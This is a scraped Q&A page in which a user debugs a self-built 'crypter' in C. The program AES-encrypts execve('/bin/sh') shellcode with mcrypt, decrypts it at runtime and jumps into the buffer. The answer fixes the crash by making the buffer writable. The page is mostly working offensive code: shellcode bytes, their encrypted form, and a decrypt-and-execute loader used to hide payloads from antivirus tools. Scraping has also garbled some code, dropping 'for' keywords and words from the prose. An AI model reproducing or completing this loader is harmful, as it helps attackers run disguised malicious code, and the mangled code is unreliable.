c - Segmentation fault on mcrypt (probably something to do with the buffer) -
i'm trying build own crypter in c using aes encrypt shellcode. i've made poc of crypter in 1 program can found below:
#include <stdio.h> #include <stdlib.h> #include <string.h> /* * mcrypt api available online: * http://linux.die.net/man/3/mcrypt */ #include <mcrypt.h> #include <math.h> #include <stdint.h> #include <stdlib.h> int encrypt( void* buffer, int buffer_len, /* because plaintext include null bytes*/ char* iv, char* key, int key_len ){ mcrypt td = mcrypt_module_open("rijndael-128", null, "cbc", null); int blocksize = mcrypt_enc_get_block_size(td); if( buffer_len % blocksize != 0 ){return 1;} mcrypt_generic_init(td, key, key_len, iv); mcrypt_generic(td, buffer, buffer_len); mcrypt_generic_deinit (td); mcrypt_module_close(td); return 0; } int decrypt( void* buffer, int buffer_len, char* iv, char* key, int key_len ){ mcrypt td = mcrypt_module_open("rijndael-128", null, "cbc", null); int blocksize = mcrypt_enc_get_block_size(td); if( buffer_len % blocksize != 0 ){return 1;} mcrypt_generic_init(td, key, key_len, iv); mdecrypt_generic(td, buffer, buffer_len); mcrypt_generic_deinit (td); mcrypt_module_close(td); return 0; } int main() { { mcrypt td, td2; unsigned char * plaintext = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char* iv = "aaaaaaaaaaaaaaaa"; char *key = "0123456789abcdef"; int keysize = 16; /* 128 bits */ unsigned char buffer[32]; int counter; int buffer_len = 32; ( counter = 0; counter < buffer_len; counter++){ buffer[counter]=0x90; } strncpy(buffer, plaintext, buffer_len); int plain_len = strlen(plaintext); printf("==plain binary==\n"); ( counter = 0; counter < plain_len; counter++){ printf("%02x",plaintext[counter]); } encrypt(buffer, buffer_len, iv, key, keysize); printf("\n==encrypted binary==\n"); ( counter = 0; counter < buffer_len; counter++){ printf("\\x%02x",buffer[counter]); } decrypt(buffer, buffer_len, iv, key, keysize); printf("\n==decrypted binary==\n"); ( counter = 0; counter < buffer_len; counter++){ if (buffer[counter] == 0){ buffer[counter] = 0x90; } printf("\\x%02x",buffer[counter]); } printf("\n"); printf("shellcode length: %d\n", strlen(buffer)); int (*ret)() = (int(*)())buffer; ret(); return 0; } my goal take encrypted shellcode, decrypt , run it. seems i'm getting segmentation fault when try initialize mcrypt mcrypt_generic_init(td, key, key_len, iv); function. i'm unsure causing segmentation fault. if has idea?
#include <stdio.h> #include <stdlib.h> #include <string.h> /* * mcrypt api available online: * http://linux.die.net/man/3/mcrypt */ #include <mcrypt.h> #include <math.h> #include <stdint.h> #include <stdlib.h> int decrypt( void* buffer, int buffer_len, char* iv, char* key, int key_len ){ mcrypt td = mcrypt_module_open("rijndael-128", null, "cbc", null); int blocksize = mcrypt_enc_get_block_size(td); if( buffer_len % blocksize != 0 ){return 1;} printf("proceeding mcrypt\n"); mcrypt_generic_init(td, key, key_len, iv); printf("initiated mcrypt") ; mdecrypt_generic(td, buffer, buffer_len); printf("proceeding mcrypt\n"); mcrypt_generic_deinit (td); printf("proceeding mcrypt\n"); mcrypt_module_close(td); printf("returning mcrypt\n"); return 0; } int main() { mcrypt td,td2; char* iv = "aaaaaaaaaaaaaaaa"; char *key = "0123456789abcdef"; int keysize = 16; /* 128 bits */ unsigned char* buffer = "\x5c\xd8\xcf\x9e\x8f\x3a\x9f\x52\x2e\x3d\x51\x06\x00\xde\xa6\x64\x45\x5f\x62\x53\x75\xab\xbd\xe1\x33\xc1\x69\xbf\xed\xc8\x5c\xaa"; int buffer_len = 32; int counter; decrypt(buffer, buffer_len, iv, key, keysize); ( counter = 0; counter < buffer_len; counter++){ printf("0x%02x",buffer[counter]); } printf("\n"); printf("shellcode length: %d\n", strlen(buffer)); int (*ret)() = (int(*)())buffer; ret(); return 0; }
you trying write in literal string. wrong because compilers allowed allocate literal strings in read-only memory (and that).
change this:
char *buffer = "..." into this:
char buffer[] = "..." the latter allocate array on stack (hence modifiable) , dynamically fill data literal string (done anew each time function entered).
Comments
Post a Comment